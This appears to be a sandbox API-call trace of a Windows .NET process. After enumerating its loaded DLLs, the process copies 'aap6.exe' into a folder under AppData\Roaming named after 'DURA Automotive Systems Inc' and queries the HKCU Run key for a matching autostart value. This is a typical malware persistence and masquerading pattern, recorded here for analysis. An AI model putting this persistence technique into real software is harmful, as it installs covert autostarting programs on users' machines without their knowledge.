	[0115.620] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0115.620] GetLastError () returned 0x514
	[0115.621] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0115.621] GetLastError () returned 0x514
	[0115.621] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x2401190, cb=0xc | out: lpmodinfo=0x2401190*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0115.621] GetLastError () returned 0x514
	[0115.621] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0115.621] GetLastError () returned 0x514
	[0115.622] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0115.622] GetLastError () returned 0x514
	[0115.622] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x240228c, cb=0xc | out: lpmodinfo=0x240228c*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0115.622] GetLastError () returned 0x514
	[0115.622] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0115.623] GetLastError () returned 0x514
	[0115.623] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0115.623] GetLastError () returned 0x514
	[0115.623] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x2403390, cb=0xc | out: lpmodinfo=0x2403390*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0115.623] GetLastError () returned 0x514
	[0115.623] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0115.624] GetLastError () returned 0x514
	[0115.624] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0115.624] GetLastError () returned 0x514
	[0115.624] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x24044c8, cb=0xc | out: lpmodinfo=0x24044c8*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0115.625] GetLastError () returned 0x514
	[0115.625] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0115.625] GetLastError () returned 0x514
	[0115.625] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0115.625] GetLastError () returned 0x514
	[0115.625] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x24055c4, cb=0xc | out: lpmodinfo=0x24055c4*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0115.626] GetLastError () returned 0x514
	[0115.626] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0115.626] GetLastError () returned 0x514
	[0115.626] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0115.626] GetLastError () returned 0x514
	[0115.627] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x24066b8, cb=0xc | out: lpmodinfo=0x24066b8*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0115.627] GetLastError () returned 0x514
	[0115.627] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0115.627] GetLastError () returned 0x514
	[0115.627] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0115.628] GetLastError () returned 0x514
	[0115.628] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x24077b4, cb=0xc | out: lpmodinfo=0x24077b4*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0115.629] GetLastError () returned 0x514
	[0115.629] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0115.630] GetLastError () returned 0x514
	[0115.630] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0115.630] GetLastError () returned 0x514
	[0115.630] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x24088a0, cb=0xc | out: lpmodinfo=0x24088a0*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0115.630] GetLastError () returned 0x514
	[0115.630] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0115.631] GetLastError () returned 0x514
	[0115.631] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0115.631] GetLastError () returned 0x514
	[0115.631] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x2409a24, cb=0xc | out: lpmodinfo=0x2409a24*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0115.632] GetLastError () returned 0x514
	[0115.632] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0115.632] GetLastError () returned 0x514
	[0115.632] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0115.633] GetLastError () returned 0x514
	[0115.633] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x240ab18, cb=0xc | out: lpmodinfo=0x240ab18*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0115.633] GetLastError () returned 0x514
	[0115.633] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0115.633] GetLastError () returned 0x514
	[0115.633] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0115.634] GetLastError () returned 0x514
	[0115.634] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x240bc0c, cb=0xc | out: lpmodinfo=0x240bc0c*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0115.634] GetLastError () returned 0x514
	[0115.634] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0115.635] GetLastError () returned 0x514
	[0115.635] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0115.635] GetLastError () returned 0x514
	[0115.635] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x240cd44, cb=0xc | out: lpmodinfo=0x240cd44*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0115.635] GetLastError () returned 0x514
	[0115.635] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0115.636] GetLastError () returned 0x514
	[0115.636] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0115.636] GetLastError () returned 0x514
	[0115.636] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x240ded8, cb=0xc | out: lpmodinfo=0x240ded8*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0115.637] GetLastError () returned 0x514
	[0115.637] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0115.637] GetLastError () returned 0x514
	[0115.637] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0115.638] GetLastError () returned 0x514
	[0115.638] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x240efd4, cb=0xc | out: lpmodinfo=0x240efd4*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0115.638] GetLastError () returned 0x514
	[0115.638] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0115.638] GetLastError () returned 0x514
	[0115.639] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0115.639] GetLastError () returned 0x514
	[0115.639] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x24100c8, cb=0xc | out: lpmodinfo=0x24100c8*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0115.639] GetLastError () returned 0x514
	[0115.639] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0115.640] GetLastError () returned 0x514
	[0115.640] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0115.640] GetLastError () returned 0x514
	[0115.640] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x24111c4, cb=0xc | out: lpmodinfo=0x24111c4*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0115.641] GetLastError () returned 0x514
	[0115.641] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0115.641] GetLastError () returned 0x514
	[0115.641] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0115.642] GetLastError () returned 0x514
	[0115.642] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x241235c, cb=0xc | out: lpmodinfo=0x241235c*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0115.642] GetLastError () returned 0x514
	[0115.642] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0115.643] GetLastError () returned 0x514
	[0115.643] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0115.643] GetLastError () returned 0x514
	[0115.643] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x2413458, cb=0xc | out: lpmodinfo=0x2413458*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0115.644] GetLastError () returned 0x514
	[0115.644] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0115.644] GetLastError () returned 0x514
	[0115.644] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0115.645] GetLastError () returned 0x514
	[0115.645] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x2414590, cb=0xc | out: lpmodinfo=0x2414590*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0115.645] GetLastError () returned 0x514
	[0115.645] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0115.646] GetLastError () returned 0x514
	[0115.646] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0115.646] GetLastError () returned 0x514
	[0115.647] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x241571c, cb=0xc | out: lpmodinfo=0x241571c*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0115.647] GetLastError () returned 0x514
	[0115.647] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0115.647] GetLastError () returned 0x514
	[0115.648] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0115.648] GetLastError () returned 0x514
	[0115.648] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x2416900, cb=0xc | out: lpmodinfo=0x2416900*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0115.649] GetLastError () returned 0x514
	[0115.649] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0115.649] GetLastError () returned 0x514
	[0115.649] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0115.650] GetLastError () returned 0x514
	[0115.650] CloseHandle (hObject=0x1ec) returned 1
	[0115.650] GetLastError () returned 0x514
	[0115.686] CoCreateGuid (in: pguid=0x3ed630 | out: pguid=0x3ed630*(Data1=0xceaa2c14, Data2=0x7dbf, Data3=0x4c4a, Data4=([0]=0xbf, [1]=0x89, [2]=0xe2, [3]=0x81, [4]=0x8d, [5]=0x30, [6]=0xf4, [7]=0x90))) returned 0x0
	[0115.695] CoCreateGuid (in: pguid=0x3edb94 | out: pguid=0x3edb94*(Data1=0x6162a6ec, Data2=0xa8c2, Data3=0x4c4b, Data4=([0]=0xb2, [1]=0x60, [2]=0x39, [3]=0xcb, [4]=0xdc, [5]=0xa6, [6]=0xfd, [7]=0xa2))) returned 0x0
	[0115.812] GetProcAddress (hModule=0x75fb0000, lpProcName="LoadLibraryA") returned 0x75fc49d7
	[0115.825] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x1d4cf0, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0115.825] GetLastError () returned 0xcb
	[0115.825] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x3edf2c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0115.825] GetLastError () returned 0xcb
	[0115.826] SetErrorMode (uMode=0x1) returned 0x0
	[0115.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc"), fInfoLevelId=0x0, lpFileInformation=0x3ee3ac | out: lpFileInformation=0x3ee3ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0115.826] GetLastError () returned 0x2
	[0115.826] SetErrorMode (uMode=0x0) returned 0x1
	[0115.826] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x1d4cf0, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0115.826] GetLastError () returned 0x2
	[0115.827] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x3edf38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0115.827] GetLastError () returned 0x2
	[0115.828] SetErrorMode (uMode=0x1) returned 0x0
	[0115.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc"), fInfoLevelId=0x0, lpFileInformation=0x3ee354 | out: lpFileInformation=0x3ee354*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0115.828] GetLastError () returned 0x2
	[0115.828] SetErrorMode (uMode=0x0) returned 0x1
	[0115.828] SetErrorMode (uMode=0x1) returned 0x0
	[0115.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x3ee354 | out: lpFileInformation=0x3ee354*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x696fe8b0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x696fe8b0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0115.828] GetLastError () returned 0x2
	[0115.828] SetErrorMode (uMode=0x0) returned 0x1
	[0115.828] SetErrorMode (uMode=0x1) returned 0x0
	[0115.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData" (normalized: "c:\\users\\kft6utqw\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x3ee354 | out: lpFileInformation=0x3ee354*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0115.828] GetLastError () returned 0x2
	[0115.828] SetErrorMode (uMode=0x0) returned 0x1
	[0115.828] SetErrorMode (uMode=0x1) returned 0x0
	[0115.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x3ee354 | out: lpFileInformation=0x3ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0115.829] GetLastError () returned 0x2
	[0115.829] SetErrorMode (uMode=0x0) returned 0x1
	[0115.829] SetErrorMode (uMode=0x1) returned 0x0
	[0115.829] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x3ee354 | out: lpFileInformation=0x3ee354*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0115.829] GetLastError () returned 0x2
	[0115.829] SetErrorMode (uMode=0x0) returned 0x1
	[0115.830] CreateDirectoryW (lpPathName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc"), lpSecurityAttributes=0x0) returned 1
	[0115.831] GetLastError () returned 0x2
	[0115.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3edf2c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0115.831] GetLastError () returned 0x2
	[0115.831] SetErrorMode (uMode=0x1) returned 0x0
	[0115.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe"), fInfoLevelId=0x0, lpFileInformation=0x3ee3ac | out: lpFileInformation=0x3ee3ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0115.831] GetLastError () returned 0x2
	[0115.831] SetErrorMode (uMode=0x0) returned 0x1
	[0115.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x3eded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0115.831] GetLastError () returned 0x2
	[0115.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x3edf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0115.831] GetLastError () returned 0x2
	[0115.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3edf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0115.831] GetLastError () returned 0x2
	[0115.833] CopyFileW (lpExistingFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe"), lpNewFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe"), bFailIfExists=0) returned 1
	[0115.849] GetLastError () returned 0x0
	[0115.851] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x3ee394 | out: phkResult=0x3ee394*=0x1f0) returned 0x0
	[0115.856] RegQueryValueExW (in: hKey=0x1f0, lpValueName="DURA Automotive Systems Inc", lpReserved=0x0, lpType=0x3ee394, lpData=0x0, lpcbData=0x3ee390*=0x0 | out: lpType=0x3ee394*=0x0, lpData=0x0, lpcbData=0x3ee390*=0x0) returned 0x2
